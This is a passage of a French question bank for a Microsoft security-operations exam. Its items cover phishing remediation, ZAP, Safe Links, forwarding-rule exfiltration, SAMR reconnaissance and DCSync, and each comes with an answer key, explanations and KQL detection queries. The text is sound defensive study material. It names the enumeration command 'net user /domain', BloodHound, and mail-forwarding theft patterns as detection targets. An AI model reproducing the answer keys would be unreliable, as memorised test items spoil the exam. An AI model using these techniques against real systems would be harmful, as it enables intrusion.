**Énoncé :** Un e-mail d'hameçonnage a été distribué à 350 boîtes aux lettres il y a deux heures. Les filtres l'ont laissé passer. Quelle est la méthode recommandée pour le retirer de toutes les boîtes ?

**A.** Réinitialiser les mots de passe des 350 destinataires.

**B.** Bloquer l'expéditeur dans la liste d'autorisation/blocage du locataire et attendre.

**C.** Demander à chaque utilisateur de supprimer le message.

**D.** Rechercher le message dans Threat Explorer (par expéditeur, objet ou NetworkMessageId), sélectionner les messages puis lancer une action de remédiation (par exemple suppression réversible), approuvée et suivie dans le Centre de notifications.

**Bonne réponse : D**

**Correction détaillée**

Avec MDO Plan 2, **Threat Explorer** (ou la chasse avancée avec l'action « Take action ») permet de sélectionner les messages et de lancer une **remédiation** : suppression réversible (soft delete), suppression définitive, déplacement vers Courrier indésirable, Boîte de réception ou Éléments supprimés. Les actions passent par le **Centre de notifications** (approbation selon la configuration).

**Analyse des réponses incorrectes**

- **A.** Mesure éventuellement nécessaire pour les utilisateurs compromis, mais elle ne supprime pas le message.
- **B.** Le blocage empêche les futurs messages mais ne retire pas ceux déjà distribués (sauf si ZAP intervient).
- **C.** Lent, incomplet et non vérifiable.

**Explication technique**

Compléter par : blocage de l'expéditeur/de l'URL/du fichier dans la **liste d'autorisation/blocage du locataire**, soumission à Microsoft (**Soumissions**), recherche des clics (**UrlClickEvents**), et vérification des comptes ayant saisi des identifiants. **ZAP** peut aussi retirer automatiquement des messages après distribution si leur verdict change.

**Point à retenir pour l'examen :** Purger des e-mails déjà distribués = Threat Explorer / chasse avancée → remédiation (Action center) ; puis bloquer et soumettre.

**Référence officielle**

- Corriger les courriers malveillants remis dans Office 365 — https://learn.microsoft.com/fr-fr/defender-office-365/remediate-malicious-email-delivered-office-365
- Recherche des menaces dans l'Explorateur des menaces et détections en temps réel dans Microsoft Defender pour Office 365 — https://learn.microsoft.com/fr-fr/defender-office-365/threat-explorer-threat-hunting

## Question n° 124 — Purge automatique zero-hour (ZAP)

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Débutant
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Un message distribué ce matin dans la boîte de réception d'un utilisateur est requalifié comme hameçonnage par Microsoft une heure plus tard. Quelle fonctionnalité peut le déplacer automatiquement hors de la boîte de réception ?

**A.** Les stratégies de quarantaine.

**B.** La simulation d'attaques.

**C.** La purge automatique zero-hour (ZAP).

**D.** Les liens sécurisés (Safe Links).

**Bonne réponse : C**

### Correction détaillée

**ZAP** (Exchange Online Protection) détecte les messages déjà distribués dont le verdict devient malveillant (hameçonnage, spam, malware) et les **déplace** (dossier Courrier indésirable ou quarantaine, selon la stratégie).

### Analyse des réponses incorrectes

- **A.** Elles définissent ce que les utilisateurs peuvent faire avec les messages en quarantaine, sans agir a posteriori.
- **B.** Outil de sensibilisation.
- **D.** Ils vérifient les URL au clic, ils ne déplacent pas les messages.

### Explication technique

ZAP fonctionne sur les boîtes Exchange Online, si le message n'a pas été déplacé ou lu dans certains cas (voir les conditions). Les actions ZAP apparaissent dans **EmailPostDeliveryEvents** (ActionType « Phish ZAP », « Malware ZAP »...). ZAP existe aussi pour Teams.

### Exemple pratique

KQL — CHASSE AVANCÉE MICROSOFT DEFENDER XDR

```
EmailPostDeliveryEvents
| where Timestamp > ago(1d)
| where ActionType in ("Phish ZAP", "Malware ZAP")
| summarize Messages = count() by ActionType, ActionResult
```

**Point à retenir pour l'examen :** Retrait automatique après distribution = ZAP ; traçable dans EmailPostDeliveryEvents.

### Référence officielle

- Purge automatique à l'heure zéro (ZAP) dans Microsoft Defender pour Office 365 — https://learn.microsoft.com/fr-fr/defender-office-365/zero-hour-auto-purge

## Question n° 125 — Liens sécurisés et clics

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Vous devez identifier les utilisateurs qui ont cliqué sur une URL d'hameçonnage connue, y compris ceux qui ont ignoré la page d'avertissement des liens sécurisés. Quelle requête est la plus appropriée ?

**A.**

REQUÊTE KQL

```
UrlClickEvents
| where Timestamp > ago(7d)
| where Url has "login-micros0ft-secure.com"
| project Timestamp, AccountUpn, ActionType, IsClickedThrough, IPAddress, Workload
```

**B.**

REQUÊTE KQL

```
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteUrl == "login-micros0ft-secure.com"
| summarize count() by DeviceName
```

**C.**

REQUÊTE KQL

```
EmailEvents
| where Timestamp > ago(7d)
| where Subject has "login-micros0ft-secure.com"
```

**D.**

REQUÊTE KQL

```
EmailUrlInfo
| where Timestamp > ago(7d)
| where Url has "login-micros0ft-secure.com"
| project Timestamp, NetworkMessageId, Url
```

**Bonne réponse : A**

### Correction détaillée

**UrlClickEvents** enregistre les clics sur des URL protégées par **Safe Links** (e-mail, Teams, applications Office) : `ActionType` (ClickAllowed, ClickBlocked, ClickBlockedByTenantPolicy...), ** `IsClickedThrough` ** (l'utilisateur a ignoré l'avertissement), `AccountUpn`, `IPAddress`, `Workload`.

### Analyse des réponses incorrectes

- **B.** Utile en complément, mais ne capture pas les clics protégés par Safe Links (dont ceux bloqués), ni l'option « cliquer quand même ».
- **C.** L'objet d'un e-mail ne contient généralement pas l'URL ; aucun clic n'est enregistré dans EmailEvents.
- **D.** EmailUrlInfo liste les URL contenues dans les e-mails ; elle ne dit pas qui a cliqué.

### Explication technique

Combinez avec EmailEvents (via NetworkMessageId) pour relier clic et message, puis avec SigninLogs/AADSignInEvents pour détecter une saisie d'identifiants suivie d'une connexion suspecte. Les utilisateurs ayant cliqué doivent être traités en priorité (réinitialisation, révocation de sessions).

### Résultat attendu

La liste des clics avec l'utilisateur, le verdict (autorisé/bloqué) et l'indicateur de contournement de l'avertissement.

**Point à retenir pour l'examen :** Qui a cliqué ? = UrlClickEvents (IsClickedThrough = avertissement ignoré).

### Référence officielle

- Liens fiables dans Microsoft Defender pour Office 365 — https://learn.microsoft.com/fr-fr/defender-office-365/safe-links-about
- UrlClickEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-urlclickevents-table

## Question n° 126 — Pièces jointes sécurisées et remise dynamique

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Intermédiaire

**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Les utilisateurs se plaignent que les e-mails avec pièces jointes arrivent avec retard depuis l'activation des pièces jointes sécurisées en mode « Bloquer ». Quelle option permet de remettre immédiatement le corps du message pendant l'analyse de la pièce jointe ?

**A.** Désactiver les pièces jointes sécurisées.

**B.** Le mode « Surveiller » (Monitor).

**C.** Les liens sécurisés.

**D.** La remise dynamique (Dynamic Delivery).

**Bonne réponse : D**

**Correction détaillée**

Avec la **remise dynamique**, le corps du message est remis immédiatement avec un espace réservé pour la pièce jointe, qui est rattachée une fois l'analyse en bac à sable terminée et le fichier jugé sûr.

**Analyse des réponses incorrectes**

- **A.** Supprime la protection.
- **B.** Le message est remis avec la pièce jointe avant la fin de l'analyse, ce qui expose l'utilisateur.
- **C.** Ils traitent les URL, pas les pièces jointes.

**Explication technique**

Actions des pièces jointes sécurisées : Désactivé, Surveiller, Bloquer, Remise dynamique (selon les versions de l'interface, certaines actions ont été simplifiées). Les détections apparaissent dans EmailAttachmentInfo (ThreatTypes, ThreatNames) et Threat Explorer.

**Point à retenir pour l'examen :** Pas de retard de remise tout en analysant les pièces jointes = Dynamic Delivery.

**Référence officielle**

- Pièces jointes sécurisées dans Defender pour Office 365 — https://learn.microsoft.com/fr-fr/defender-office-365/safe-attachments-about

## Question n° 127 — Messages signalés par les utilisateurs

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Intermédiaire

**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Les utilisateurs signalent de nombreux e-mails suspects via le bouton « Signaler » d'Outlook. Vous voulez que chaque signalement déclenche automatiquement une enquête et que les messages similaires soient identifiés. Que faut-il configurer ?

**A.** Une règle de transport Exchange qui supprime les messages signalés.

**B.** Une règle ASR.

**C.** Les paramètres des messages signalés par l'utilisateur (vers Microsoft et/ou une boîte de rapport) ; avec MDO Plan 2, l'alerte de signalement déclenche une enquête AIR qui regroupe les messages similaires (clusters) et propose des actions.

**D.** Une watchlist des messages signalés dans Sentinel.

**Bonne réponse : C**

**Correction détaillée**

Les **paramètres de signalement** déterminent où vont les signalements (Microsoft, boîte de rapport, ou les deux). L'alerte « Email reported by user as malware or phish » déclenche une **enquête AIR** (MDO P2), qui

analyse le message, identifie des **clusters** de messages similaires et propose des remédiations dans le Centre de notifications.

**Analyse des réponses incorrectes**

- **A.** Suppression aveugle, sans analyse.
- **B.** Les règles ASR concernent les terminaux.
- **D.** Une watchlist ne déclenche pas d'enquête.

**Explication technique**

Les administrateurs voient les signalements dans **Soumissions > Signalés par l'utilisateur**, peuvent les soumettre à Microsoft et informer l'utilisateur du résultat. L'**agent de tri de l'hameçonnage** de Security Copilot peut classer automatiquement les signalements.

**Point à retenir pour l'examen :** Signalements utilisateurs → paramètres de signalement + AIR (clusters, remédiation) ; agent de tri Copilot en option.

**Référence officielle**

- Paramètres signalés par l'utilisateur — https://learn.microsoft.com/fr-fr/defender-office-365/submissions-user-reported-messages-custom-mailbox
- Investigation et réponse automatisées (AIR) dans Microsoft Defender pour Office 365 Plan 2 — https://learn.microsoft.com/fr-fr/defender-office-365/air-about

## Question n° 128 — Soumissions administrateur

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Débutant
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Un e-mail légitime d'un partenaire est systématiquement mis en quarantaine comme hameçonnage. Quelle démarche recommandée permet de corriger le verdict et d'autoriser temporairement ce type de message ?

**A.** Ajouter le domaine à la liste des expéditeurs approuvés de chaque utilisateur.

**B.** Soumettre le message à Microsoft via la page Soumissions en tant que « Ne doit pas avoir été bloqué », ce qui permet d'ajouter une entrée d'autorisation temporaire dans la liste d'autorisation/blocage du locataire.

**C.** Créer une règle de transport qui contourne tous les filtres pour le domaine.

**D.** Désactiver la stratégie anti-hameçonnage pour toute l'organisation.

**Bonne réponse : B**

**Correction détaillée**

Les **soumissions administrateur** envoient l'élément à Microsoft pour réanalyse et, pour un faux positif, proposent de créer une **entrée « Autoriser »** dans la **liste d'autorisation/blocage du locataire** (pour une durée limitée), le temps que les filtres apprennent.

**Analyse des réponses incorrectes**

- **A.** Solution non gérée de façon centralisée et peu sûre.
- **C.** Risque élevé d'abus (usurpation du domaine).
- **D.** Expose tous les utilisateurs.

**Explication technique**

La liste d'autorisation/blocage du locataire gère expéditeurs, domaines, URL, fichiers, usurpation d'identité. Les entrées « Bloquer » peuvent être créées directement ; les entrées « Autoriser » passent généralement par une soumission. L'**analyseur de configuration** aide à repérer les paramètres trop permissifs.

**Point à retenir pour l'examen :** Faux positif e-mail = soumission « Ne doit pas avoir été bloqué » →

autorisation temporaire dans la Tenant Allow/Block List.

**Référence officielle**

- Utilisez la page Soumissions pour envoyer des courriers indésirables suspects, des hameçonnages, des URL, des e-mails légitimes bloqués et des pièces jointes à Microsoft — https://learn.microsoft.com/fr-fr/defender-office-365/submissions-admin
- Gérer les autorisations et les blocages dans la liste d'autorisation/de blocage du locataire — https://learn.microsoft.com/fr-fr/defender-office-365/tenant-allow-block-list-about

## Question n° 129 — Corréler e-mail et pièce jointe

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Intermédiaire

**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Vous voulez lister les destinataires ayant reçu dans leur boîte de réception une pièce jointe dont le SHA256 est connu comme malveillant. Quelle requête est correcte ?

**A.**

REQUÊTE KQL

```
let hash = "a3f5c0de41b2e98f7c6d5e4f3a2b1c0d9e8f7a6b5c4d3e2f1a0b9c8d7e6f5a4b";
EmailAttachmentInfo
| where Timestamp > ago(7d)
| where SHA256 == hash
| join kind=inner (
    EmailEvents
    | where Timestamp > ago(7d)
    | where DeliveryAction == "Delivered"
  ) on NetworkMessageId, RecipientEmailAddress
| project Timestamp, RecipientEmailAddress, SenderFromAddress, Subject, FileName,
DeliveryLocation
```

**B.**

REQUÊTE KQL

```
EmailUrlInfo
| where Timestamp > ago(7d)
| where Url has "a3f5c0de41b2e98f7c6d5e4f3a2b1c0d9e8f7a6b5c4d3e2f1a0b9c8d7e6f5a4b"
```

**C.**

REQUÊTE KQL

```
EmailEvents
| where Timestamp > ago(7d)
| where SHA256 == "a3f5c0de41b2e98f7c6d5e4f3a2b1c0d9e8f7a6b5c4d3e2f1a0b9c8d7e6f5a4b"
```

**D.**

REQUÊTE KQL

```
EmailAttachmentInfo
| where Timestamp > ago(7d)
| where FileName == "a3f5c0de41b2e98f7c6d5e4f3a2b1c0d9e8f7a6b5c4d3e2f1a0b9c8d7e6f5a4b"
```

**Bonne réponse : A**

**Correction détaillée**

Les hachages des pièces jointes sont dans **EmailAttachmentInfo** ; l'état de remise (**DeliveryAction**, **DeliveryLocation**) est dans **EmailEvents**. La jointure se fait sur **NetworkMessageId** (identifiant du message dans Microsoft 365) **et RecipientEmailAddress** (une ligne par destinataire).

**Analyse des réponses incorrectes**

- **B.** EmailUrlInfo contient les URL des messages, pas les hachages des pièces jointes.
- **C.** La colonne SHA256 n'existe pas dans EmailEvents ; les hachages de pièces jointes sont dans EmailAttachmentInfo.
- **D.** Compare le hachage au nom de fichier : aucun résultat pertinent, et la distribution n'est pas vérifiée.

**Explication technique**

Pour l'état le plus récent (après ZAP ou remédiation), utilisez `LatestDeliveryLocation` / `LatestDeliveryAction` dans EmailEvents ou EmailPostDeliveryEvents. Vérifiez ensuite l'ouverture du fichier sur les postes (DeviceFileEvents/DeviceProcessEvents avec le même SHA256).

**Résultat attendu**

Les destinataires ayant reçu la pièce jointe dans leur boîte, avec l'expéditeur, l'objet et le dossier de remise.

**Point à retenir pour l'examen :** Pièce jointe ↔ e-mail : jointure EmailAttachmentInfo / EmailEvents sur NetworkMessageId + RecipientEmailAddress.

**Référence officielle**

- EmailAttachmentInfo — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-emailattachmentinfo-table
- EmailEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-emailevents-table

## Question n° 130 — Usurpation d'identité de dirigeants

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Des attaquants envoient des e-mails en se faisant passer pour le directeur financier, depuis des domaines ressemblants (par exemple contoso-finance.co au lieu de contoso.com). Quelle configuration de Defender for Office 365 cible spécifiquement cette menace ?

**A.** La purge automatique ZAP uniquement.

**B.** Les liens sécurisés uniquement.

**C.** La protection contre l'usurpation d'identité d'utilisateurs et de domaines dans la stratégie anti-hameçonnage, avec le directeur financier comme utilisateur protégé et les domaines de l'organisation comme domaines protégés.

**D.** Une règle ASR sur les postes.

**Bonne réponse : C**

**Correction détaillée**

La **stratégie anti-hameçonnage** de MDO inclut la **protection contre l'usurpation d'identité** (utilisateurs protégés, domaines protégés, intelligence des boîtes aux lettres), distincte de la **protection contre l'usurpation** (spoofing) basée sur SPF/DKIM/DMARC.

**Analyse des réponses incorrectes**

- **A.** ZAP agit après coup, sans détection spécifique de l'usurpation de dirigeants.
- **B.** Ils vérifient les URL ; ils ne détectent pas l'usurpation d'expéditeur.
- **D.** Les règles ASR ne traitent pas les e-mails entrants.

**Explication technique**

Actions configurables : mise en quarantaine, déplacement vers le courrier indésirable, conseils de sécurité (safety tips) affichés à l'utilisateur. Les **stratégies prédéfinies** (Standard/Strict) et la **protection des comptes prioritaires** simplifient la configuration pour les dirigeants.

**Point à retenir pour l'examen :** Faux dirigeants / domaines ressemblants = protection contre l'usurpation d'identité (anti-phishing MDO).

**Référence officielle**

- Stratégies anti-hameçonnage dans les organisations cloud — https://learn.microsoft.com/fr-fr/defender-office-365/anti-phishing-policies-about

## Question n° 131 — Règle de transfert suspecte

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Avancé

**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Après un hameçonnage réussi, vous soupçonnez qu'un attaquant a créé une règle de boîte de réception transférant les e-mails vers une adresse externe. Quelle requête Sentinel permet de rechercher la création de telles règles ?

**A.**

REQUÊTE KQL

```
AzureActivity
| where TimeGenerated > ago(7d)
| where OperationNameValue has "InboxRule"
```

**B.**

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(7d)
| where AppDisplayName == "Outlook"
```

**C.**

REQUÊTE KQL

```
SecurityEvent
| where TimeGenerated > ago(7d)
| where EventID == 4720
```

**D.**

REQUÊTE KQL

```
OfficeActivity
| where TimeGenerated > ago(7d)
| where Operation in ("New-InboxRule", "Set-InboxRule", "UpdateInboxRules")
| where Parameters has_any ("ForwardTo", "RedirectTo", "ForwardAsAttachmentTo")
| project TimeGenerated, UserId, ClientIP, Operation, Parameters
```

**Bonne réponse : D**

### Correction détaillée

Le journal d'audit unifié Microsoft 365 (connecteur Office 365 → **OfficeActivity**) enregistre les opérations Exchange comme **New-InboxRule**, **Set-InboxRule** ou **UpdateInboxRules** (Outlook), avec les paramètres (ForwardTo, RedirectTo, ForwardAsAttachmentTo, DeleteMessage…).

### Analyse des réponses incorrectes

- **A.** AzureActivity concerne le plan de contrôle Azure, pas Exchange Online.
- **B.** Les connexions ne montrent pas la création de règles de boîte aux lettres.
- **C.** L'événement 4720 correspond à la création d'un compte Active Directory, pas à une règle Exchange.

### Explication technique

Technique MITRE **T1114.003** (Email Forwarding Rule) et **T1564.008** (Email Hiding Rules). Defender for Cloud Apps détecte aussi les « règles de transfert suspectes » et la stratégie anti-spam sortante permet de **bloquer le transfert automatique externe**. Côté XDR, CloudAppEvents contient les mêmes activités.

> **Point à retenir pour l'examen :** Règles de transfert malveillantes = OfficeActivity (New-InboxRule/Set-InboxRule, ForwardTo/RedirectTo) ; bloquer le transfert externe par stratégie.

### Référence officielle

- Répondre à un compte de messagerie cloud compromis — https://learn.microsoft.com/fr-fr/defender-office-365/responding-to-a-compromised-email-account
- Activité de Bureau — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/officeactivity

## Question n° 132 — Bloquer le transfert automatique externe

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Pour limiter l'exfiltration par règles de transfert après une compromission de compte, quelle mesure préventive est la plus efficace au niveau de l'organisation ?

**A.** Activer la remise dynamique des pièces jointes sécurisées.

**B.** Configurer la stratégie anti-spam sortante pour désactiver le transfert automatique vers l'extérieur (sauf exceptions approuvées).

**C.** Augmenter la rétention de OfficeActivity.

**D.** Désactiver les liens sécurisés.

**Bonne réponse : B**

### Correction détaillée

La **stratégie de filtrage du courrier indésirable sortant** contrôle le **transfert automatique externe** (Automatique, Activé, Désactivé). En le désactivant, les règles de transfert créées par un attaquant n'envoient plus de messages à l'extérieur.

### Analyse des réponses incorrectes

- **A.** Sans lien avec le transfert sortant.
- **C.** Améliore l'investigation, pas la prévention.
- **D.** Sans rapport et contre-productif.

### Explication technique

Des exceptions peuvent être gérées par des stratégies personnalisées ciblant certains utilisateurs. Les messages bloqués génèrent un rapport de non-remise et peuvent déclencher des alertes. Mesure complémentaire : surveiller les nouvelles règles de boîte de réception.

**Point à retenir pour l'examen :** Prévenir l'exfiltration par transfert = désactiver le transfert automatique externe (stratégie anti-spam sortante).

### Référence officielle

- Contrôler le transfert automatique d'e-mails externes à partir de boîtes aux lettres cloud — https://learn.microsoft.com/fr-fr/defender-office-365/outbound-spam-policies-external-email-forwarding

## Question n° 133 — Campagnes et Threat Trackers

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Un analyste veut voir en un seul écran l'ensemble d'une vague d'hameçonnage coordonnée : messages, URL, expéditeurs, destinataires ayant cliqué, sur plusieurs jours. Quelle fonctionnalité de MDO Plan 2 fournit cette vue ?

**A.** Les stratégies de quarantaine.

**B.** Le rapport d'état de mise à jour des appareils.

**C.** Les vues de campagnes (Campaigns).

**D.** La simulation d'attaques.

**Bonne réponse : C**

### Correction détaillée

Les **campagnes** regroupent les messages d'une même attaque coordonnée (empreintes, URL, charges utiles) et affichent les destinataires, les clics, les actions de remise et les détails techniques, ce qui facilite l'évaluation d'impact et la remédiation globale.

### Analyse des réponses incorrectes

- **A.** Elles gèrent les droits sur la quarantaine.
- **B.** Concerne les terminaux.
- **D.** Outil de formation.

### Explication technique

Disponibles dans MDO Plan 2. Complétées par Threat Explorer (filtrage par campagne) et la chasse avancée (EmailEvents.EmailClusterId pour les messages similaires).

**Point à retenir pour l'examen :** Vision d'ensemble d'une vague d'hameçonnage = Campaigns (MDO P2).

### Référence officielle

- Campagnes dans Microsoft Defender pour Office 365 — https://learn.microsoft.com/fr-fr/defender-office-365/campaigns

## Question n° 134 — Simulation d'attaques

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Débutant
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** La direction veut mesurer la vulnérabilité des employés au hameçonnage et leur attribuer automatiquement une formation lorsqu'ils cliquent. Quelle fonctionnalité utiliser ?

**A.** Threat Explorer.

**B.** L'analyse des menaces.

**C.** Les règles ASR en mode Audit.

**D.** La formation par simulation d'attaques (Attack simulation training) de Defender for Office 365 Plan 2.

**Bonne réponse : D**

### Correction détaillée

**Attack simulation training** lance des campagnes simulées (collecte d'identifiants, pièce jointe malveillante, lien dans une pièce jointe, QR code…), mesure les comportements (clics, saisies, signalements) et affecte des **formations** aux utilisateurs concernés.

### Analyse des réponses incorrectes

- **A.** Outil d'investigation, pas de simulation.
- **B.** Rapports de renseignement sur les menaces.
- **C.** Concernent les terminaux.

### Explication technique

Les simulations s'appuient sur des charges utiles et des modèles ; les rapports montrent les tendances. Les utilisateurs qui signalent le message via le bouton de signalement sont valorisés. Incluse dans MDO Plan 2 / Microsoft 365 E5.

**Point à retenir pour l'examen :** Mesurer et former au hameçonnage = Attack simulation training (MDO P2).

### Référence officielle

- Commencer à utiliser la formation à la simulation d'attaque — https://learn.microsoft.com/fr-fr/defender-office-365/attack-simulation-training-get-started

### Question n° 135 — Remédiation d'un compte de messagerie compromis

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Avancé
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Un compte Microsoft 365 a été compromis par hameçonnage : connexions depuis une IP étrangère, règle de transfert créée, envoi de spam interne. Quelles actions immédiates sont prioritaires ? (Sélectionnez deux réponses.)

**Sélectionnez deux réponses.**

**A.** Réinitialiser le mot de passe, révoquer les sessions/jetons d'actualisation et vérifier les méthodes MFA enregistrées par l'attaquant.

**B.** Supprimer définitivement le compte utilisateur.

**C.** Désactiver Defender for Office 365 pour éviter de nouvelles alertes.

**D.** Supprimer les règles de boîte de réception et de transfert malveillantes, et retirer les e-mails malveillants envoyés en interne.

**E.** Attendre la fin de l'enquête complète avant toute action.

**Bonne réponse : A, D**

#### Correction détaillée

La procédure Microsoft « Répondre à un compte de messagerie compromis » prévoit de **réinitialiser le mot de passe**, **révoquer les sessions**, vérifier/retirer les **méthodes d'authentification** ajoutées, **supprimer les règles** de boîte de réception et de transfert suspectes, vérifier les **délégations** et le **transfert SMTP** de la boîte, débloquer l'envoi si l'utilisateur a été restreint, et purger les messages malveillants.

#### Analyse des réponses incorrectes

- **B.** Destructeur et inutile ; on perdrait des preuves et la continuité métier.
- **C.** Contre-productif.
- **E.** Le confinement doit commencer immédiatement.

#### Explication technique

Vérifier aussi : consentements OAuth accordés, inscriptions d'appareils, accès aux fichiers (SharePoint/OneDrive), activité dans Purview Audit. Marquer l'utilisateur comme compromis dans Entra ID Protection (risque élevé) déclenche les stratégies basées sur le risque.

**Point à retenir pour l'examen :** Compte de messagerie compromis : identifiants + sessions + MFA, puis règles/transferts/délégations et purge des messages.

#### Référence officielle

- Répondre à un compte de messagerie cloud compromis — https://learn.microsoft.com/fr-fr/defender-office-365/responding-to-a-compromised-email-account
- Révoquer les accès utilisateur dans Microsoft Entra ID — https://learn.microsoft.com/fr-fr/entra/identity/users/users-revoke-access

## 2.6 Defender for Identity : menaces sur Active Directory

### Question n° 136 — Architecture de Defender for Identity

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Débutant
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Quels serveurs doivent idéalement recevoir un capteur Microsoft Defender for Identity pour une couverture complète d'un environnement Active Directory hybride ?

**A.** Uniquement un contrôleur de domaine par forêt.

**B.** Tous les contrôleurs de domaine, ainsi que les serveurs AD FS, AD CS et Microsoft Entra Connect.

**C.** Uniquement le serveur Exchange.

**D.** Uniquement les postes de travail des administrateurs.

**Bonne réponse : B**

**Correction détaillée**

Les **capteurs MDI** analysent le trafic et les événements des **contrôleurs de domaine** et des serveurs d'identité (**AD FS**, **AD CS**, **Entra Connect**) pour détecter reconnaissance, vol d'identifiants, mouvement latéral et persistance.

**Analyse des réponses incorrectes**

- **A.** Une couverture partielle laisse des angles morts ; tous les DC doivent être couverts.
- **C.** Exchange n'est pas la cible du capteur.
- **D.** Les capteurs MDI se déploient sur les serveurs d'identité, pas sur les postes.

**Explication technique**

Le capteur **v3.x** s'active sur les contrôleurs de domaine déjà intégrés à Defender for Endpoint (intégration unifiée) ; le capteur classique (v2.x) s'installe séparément. Un **compte de service d'annuaire** (gMSA recommandé) est nécessaire pour certaines requêtes. La configuration de l'**audit Windows avancé** (par exemple 4662, 4726, 4728, 4776, 8004) est requise pour certaines détections.

**Point à retenir pour l'examen :** MDI = capteurs sur tous les DC + AD FS + AD CS + Entra Connect ; gMSA et audit avancé à configurer.

**Référence officielle**

- vue d'ensemble de Microsoft Defender pour Identity — https://learn.microsoft.com/fr-fr/defender-for-identity/what-is
- Vue d'ensemble du déploiement Microsoft Defender pour Identity — https://learn.microsoft.com/fr-fr/defender-for-identity/deploy/deploy-defender-identity

## Question n° 137 — Reconnaissance par énumération SAMR

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Intermédiaire

**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** MDI lève l'alerte « User and Group membership reconnaissance (SAMR) » depuis le poste PC-0423. Que traduit cette alerte ?

**A.** Un acteur interroge le contrôleur de domaine via SAMR pour énumérer des utilisateurs et des appartenances aux groupes (par exemple Admins du domaine), étape typique de découverte avant un mouvement latéral.

**B.** Une tentative de déchiffrement de la base NTDS.dit sur le poste.

**C.** Une modification de stratégie de groupe.

**D.** Une connexion RDP réussie vers le contrôleur de domaine.

**Bonne réponse : A**

**Correction détaillée**

L'alerte **SAMR reconnaissance** signale l'énumération d'utilisateurs et de groupes via le protocole SAM-R (outils comme `net user /domain`, BloodHound/SharpHound). Elle correspond à la tactique **Découverte** (T1087 Account Discovery, T1069 Permission Groups Discovery).

**Analyse des réponses incorrectes**

- **B.** Ce n'est pas ce que décrit l'alerte SAMR.
- **C.** Sans rapport avec l'énumération SAMR.
- **D.** Il s'agit d'une requête d'énumération, pas d'une ouverture de session RDP.

### Explication technique

En chasse avancée, **IdentityQueryEvents** enregistre ces requêtes (ActionType « SAMR query », QueryTarget, Query, DeviceName, AccountName). Évaluer si l'activité est légitime (outil d'administration) ; sinon investiguer le poste source avec MDE.

### Exemple pratique

KQL — CHASSE AVANCÉE MICROSOFT DEFENDER XDR

```
IdentityQueryEvents
| where Timestamp > ago(1d)
| where ActionType == "SAMR query"
| summarize Cibles = dcount(QueryTarget), Requetes = count() by DeviceName, AccountName
| where Cibles > 20
| order by Cibles desc
```

**Point à retenir pour l'examen :** Alerte SAMR = énumération d'utilisateurs/groupes (Découverte) ; données dans IdentityQueryEvents.

### Référence officielle

- Alertes de sécurité dans Microsoft Defender pour Identity — https://learn.microsoft.com/fr-fr/defender-for-identity/alerts-overview
- IdentityQueryEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-identityqueryevents-table

## Question n° 138 — Attaque DCSync

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Avancé
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** MDI signale « Suspected DCSync attack (replication of directory services) » depuis un poste de travail utilisant le compte d'un administrateur. Pourquoi cette alerte est-elle critique ?

**A.** Elle concerne exclusivement Microsoft Entra Connect et est toujours légitime.

**B.** Elle signale une indisponibilité du contrôleur de domaine.

**C.** Un acteur imite un contrôleur de domaine pour demander la réplication des secrets (hachages de mots de passe, dont celui de krbtgt), ce qui permet le vol massif d'identifiants et la création de Golden Tickets.

**D.** Elle indique seulement une synchronisation horaire anormale.

**Bonne réponse : C**

### Correction détaillée

**DCSync** (T1003.006) utilise les droits « Replicating Directory Changes (All) » pour demander à un DC les données de mots de passe via le protocole de réplication (DRSUAPI). Depuis une machine qui n'est pas un DC, c'est un indicateur fort de compromission d'un compte à privilèges.

### Analyse des réponses incorrectes

- **A.** Entra Connect peut avoir des droits de réplication, mais une demande depuis un poste de travail est anormale.
- **B.** Il s'agit d'une activité malveillante, pas d'un problème de disponibilité.
- **D.** La réplication d'annuaire n'est pas une synchronisation horaire.

### Explication technique

